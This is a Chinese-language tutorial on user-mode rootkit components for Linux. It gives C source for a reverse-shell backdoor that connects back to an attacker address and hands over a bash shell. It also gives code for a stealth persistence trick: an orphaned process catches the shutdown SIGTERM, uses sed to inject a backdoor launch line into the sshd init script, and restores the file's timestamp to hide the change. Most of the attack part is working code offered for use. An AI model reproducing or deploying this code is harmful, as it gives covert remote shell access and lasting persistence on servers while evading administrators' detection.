一直很想补充LKM方式未实现的ROOTKIT的后门功能,奈何内核模式下虽然权限很高,但编程难度也很大。在网络安全技术中用户级程序虽然权限不高,但是编程相对简单,兼容性好。所以一般ROOTKIT也不是全部在内核中完成的,也要编写用户级的程序来辅助。本文将讲述回连后门的编写和在Linux下隐蔽地自启动的方法。
回连后门的编写很容易实现,在一个典型的Socket客户端的基础上,将标准输入输出重定向到Socket里,再execve一个bash shell,就可以在监听的服务端得到一个相应权限的Shell了。一个简单的回连后门代码如下:
void creat_shell ( void )
{
char * shell[2];
int soc,remote;
int ret1,ret2,ret3;
struct sockaddr_in serv_addr;
memset ( &serv_addr,0,sizeof ( serv_addr ) );
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=inet_addr ( MASTER_IP );
serv_addr.sin_port=htons ( PORT );
//典型的客户端Socket编程
soc=socket ( AF_INET, SOCK_STREAM, 0 ) ;
if ( soc<0 )
{
printf ( "socket error %d!\n",soc );
return;
}
remote=connect ( soc, ( struct sockaddr* ) &serv_addr,0x10 );
if ( remote<0 )
{
printf ( "connect error \n" );
goto end;
}
//将标准输入输出等重定向到建立的Socket里去
ret1 =dup2 ( soc,0 );
ret2 =dup2 ( soc,1 );
ret3 =dup2 ( soc,2 );
if ( ret1 == -1 || ret2 == -1 ||ret3 == -1 )
{
goto end;
}
//向服务端报告好消息
send ( soc,message,strlen ( message ),0 );
//建立一个bash shell
shell[0]="/bin/bash";
shell[1]=0;
execve ( shell[0],shell,0 );
end:
close ( soc );
}
本文将重点讲解Linux下如何隐蔽地实现自启动,只有这部分才算原创。Linux下的程序开机自启动靠的就是init机制。init进程是Linux系统的第一个用户态进程,pid为1。它是由Linux内核直接启动的,有三个重要功能。
第一个功能是读取/etc/inittab配置文件来对系统进行用户态的初始化。最重要的是读取默认运行级别,然后执行/etc/rc.d/rc*.d文件夹里的全部Shell文件(这里的*就是一个数字,对应运行级别)。Shell文件完成如开启HTTP、SSH、X11等服务的功能,提供一个可以让用户登录的环境。
第二个功能就是接管没父进程的子进程。如果一个父进程没有waitpid()为子进程收尸,先于子进程结束,那么子进程的父进程就修改为init,init就是一个守护进程。
第三个功能就是通过pipe(管道)接收发来的切换run level的请求并处理。例如可以使用init 6命令来重启系统。也就是init进程执行/etc/rc.d/rc6.d里的Shell关闭各种服务,向所有的进程发送SIGTERM信号,让进程正常退出。延时5秒后向所有的进程发送SIGKILL信号强制关闭进程,然后重新启动。
知道了以上细节,我们不难想到典型的自启动方式,就是查看/etc/inittab默认的运行级别,然后在相应的/etc/rc.d/rc*.d文件夹里加入一个Shell脚本就可以了。/etc/rc.d/rc*.d文件夹里几乎都是符号链接,这是因为很多Shell脚本在不同的运行级别下都会用到,只要挑选一个最常用的服务就可以了。我选择了/etc/init.d/sshd,在其头部“#!/bin/bash”后插入了一行后门启动命令“/home/webshell/backdoor”。
当然,这种方式很容易被发现,我们还要让管理员在/etc/rc.d/rc*.d里看不到。解决方法就是在服务器运行时,不向/etc/rc.d/rc*.d里写入启动信息,而是捕获关机或重启信号,在那时将后门启动命令写入Shell脚本。机器重启后就会执行我们的后门,后门做的第一件事就是把自己的启动项删掉。当然,做这些操作都要修改文件的最后修改时间,做到不留痕迹,这样管理员就无法在/etc/rc.d/rc*.d里找到后门启动项。除非突然断电,我们的后门就可以一直自启动。
以上解决方法的关键就是如何捕获Linux系统重启信号。将前面所述init的第2和第3功能综合起来就有了如下办法:制造一个没有父进程的子进程,让它被init接管并一直存活,等待init给它发送SIGTERM信号,这个信号也就是系统重启的信号。对SIGTERM信号的处理就是写入后门启动项。创建一个这样的子进程的代码如下:
int main ( int argc, char *argv[] )
{
pid_t pid;
if ( ( pid = fork() ) <0 )
exit ( 1 );
if ( pid== 0 )
{
//申明对SIGTERM信号的处理,由 func()来执行
signal ( SIGTERM,func );
//消耗资源小的死循环让子进程一直存活
while(1)
{
sleep(3600); //一小时
}
}
//父进程尽快死掉
exit(0);
}
void func ( int sig )
{
if ( sig==SIGTERM )
{
//插入后门启动项
insert_command ( INSERT_FILE,HIDE_PROCESS );
exit ( 0 );
}
signal ( SIGTERM,func );
}
int insert_command ( char *filename,char *command )
{
//首先获得原始修改时间
struct utimbuf ori_time;
if ( get_modtime ( filename,&ori_time ) !=1 )
{exit ( 0 );}
//sed命令,实现在有#!这样字符串的行后插入后门启动项
char cmd[100];
sprintf ( cmd,"sed \'\/\^#!\/ a %s\' %s >deep_pro_2009",command,filename );
system ( cmd );
sprintf ( cmd,"cp -f deep_pro_2009 %s ",filename );
system ( cmd );
sprintf ( cmd,"rm -f deep_pro_2009" );
system ( cmd );
//恢复修改时间
if ( utime ( filename,&ori_time ) ==-1 )
{
return 0;
};
return 1;
}